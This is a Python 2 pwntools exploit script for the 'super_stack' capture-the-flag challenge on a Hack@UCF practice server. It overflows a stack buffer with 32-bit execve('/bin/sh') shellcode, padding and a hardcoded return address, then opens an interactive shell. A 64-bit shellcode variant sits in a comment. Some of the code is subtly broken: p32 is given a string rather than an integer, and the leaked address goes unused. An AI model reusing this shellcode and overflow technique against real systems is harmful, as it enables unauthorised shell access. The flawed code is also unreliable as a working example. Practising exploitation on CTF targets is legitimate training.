from pwn import *
"===============    Configuration    ================"
pwnName ="super_stack"
local   = True
libName = 'libpwnableharness32.so'
host, port  = 'ctf.hackucf.org', 9005
context.arch    ='i386'
context.os  = "linux"
context.log_level="DEBUG"
context.terminal= [ 'tmux' , 'splitw' , '-h' ]
"""===================================================="""
libc    = ELF(libName)
elf     = ELF(pwnName)
rop     = ROP([elf, libc])
context.binary  = elf
if local:
    r = process("./" + pwnName)
else:
    r = remote(host, port)

def sendToGDB(payload, breakpoint=None):
    if not local:
        return
    cmd = """ b main\n"""
    with open('payload', 'w+') as f:
        f.write(payload)
    gdb.attach(r, execute="")
"""====================================================="""
def getLeak():
    buff = r.recvline()
    print buff
    buff = buff.split(': ')[1]
    buff = int(buff, 16)
    return buff

def makeSC():
    #sc  = asm(shellcraft.i386.linux.sh())
    sc = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
    #sc = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
    return sc

def makePayload(sc, leak):
    bufSize  = 116
    bufSize -= len(sc) #size of
    payload = ""
    payload += sc
    payload += "A"* bufSize
    payload += p32("0xffffcd2c")
    #payload += p32(leak)
    return payload


def sendPayload(payload):
    print payload
    r.sendline(payload)
    try:
        print r.recvline()
    except:
        try:
            r.interactive()
        except:
            pass


if __name__ == "__main__":
    leak    = getLeak()
    sc      = makeSC()
    payload = makePayload(sc, leak)
    sendToGDB(payload)
    sendPayload(payload)
